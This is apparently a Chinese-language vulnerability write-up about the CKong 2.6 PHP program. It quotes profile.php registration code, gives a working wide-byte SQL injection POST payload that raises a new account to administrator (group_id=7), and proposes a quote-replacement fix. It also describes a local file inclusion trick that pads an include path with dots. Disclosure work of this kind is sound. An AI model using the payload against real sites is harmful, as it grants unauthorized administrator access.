By:seraph

    问题出现在profile.php文件里面,过滤了$reguser,$regemail,后面的$reghomepage,$regarea,$regcomm,$regsex都可以用宽字节注入,直接得到一个管理员权限的用户。

    代码如下:

以下是引用片段:

if($action=='reg' && $reguser) {
        if($Global['hashto']['reg'] && (!$hashnum || $hashnum<>$_SESSION[$Global['privprefix'].'imghash'])) $C_errormsg.='<li>验证码错误</li>';
        if (!preg_match("/^([\x81-\xfea-z0-9]){3,12}$/i",$reguser)) $C_errormsg.='<li>用户名请用3-12字节的中文字母或数字</li>';
        if(!eregi("^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,3}$",$regemail)) $C_errormsg.='<li>Email填写错误</li>';
        $sql='select user_id from '.__TAB_USER__." where ".$Global['mysql_userow']."='".$reguser."'";
        $result=$db->query($sql);
        if($rows=$db->fetch_row($result)) $C_errormsg.='<li>用户名已存在</li>';
        $sql='select ban_id from '.__TAB_BANLIST__." where ban_name='".$reguser."'";
        $result=$db->query($sql);
        if($rows=$db->fetch_row($result)) $C_errormsg.='<li>此用户名已被禁止</li>';
        $db->free_result($result);
        if(!$C_errormsg) {
                $sql='insert into '.__TAB_USER__." set ".$Global['mysql_userow']."='$reguser',".$Global['mysql_pwdrow']."='".md5($regpwd)."', user_email='$regemail',user_qq='".intval($regqq)."',user_regdate='".$Global['F_time']."', user_homepage='$reghomepage',user_area='$regarea',user_comm='$regcomm',user_sex='$regsex', user_publicemail='".intval($publicmail)."',group_id=2";
               
                die("\r\n".$sql);
                if(!($result=$db->query($sql))) back('注册数据插入失败');

    自行抓包直接POST提交到:

http://localhost/phptest/Ckong2/CKong2.6/profile.php

reguser=seraph3&regpwd=seraph&regpwd2=seraph&regemail=seraphsdflk2@dfc.om&publicmail=1&regsex=1%d5',user_publicemail%3d1,group_id%3D7#&regqq=343434&reghomepage=1212121&regarea=121212&regcomm=%CE%D2%CA%B2%C3%B4%D2%B2%B2%BB

    修补方法:

$reghomepage=str_replace("'","‘",$reghomepage);
$regarea=str_replace("'","‘",$regarea);
$regcomm=str_replace("'","‘",$regcomm);
$regsex=str_replace("'","‘",$regsex);

    还来还是不能太相信GPC了,自己手动过滤过滤比较靠得住一点。

----------------------------- JJ的分割线 -----------------------------

    这套程序还有一个本地包含漏洞。

    在本地全登录后,admin.php 里面代码:

以下是引用片段:

<?php
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<1000;$i++)
{
        $str=$str.".";
        $pfile="create.txt";
        if(include_once ($pfile.$str.'.php')) echo $i;
}
?>

    关于这个问题,希望大家一起来讨论讨论。

    这套程序只是一个小程序,可能用的人不多,全当技术练习。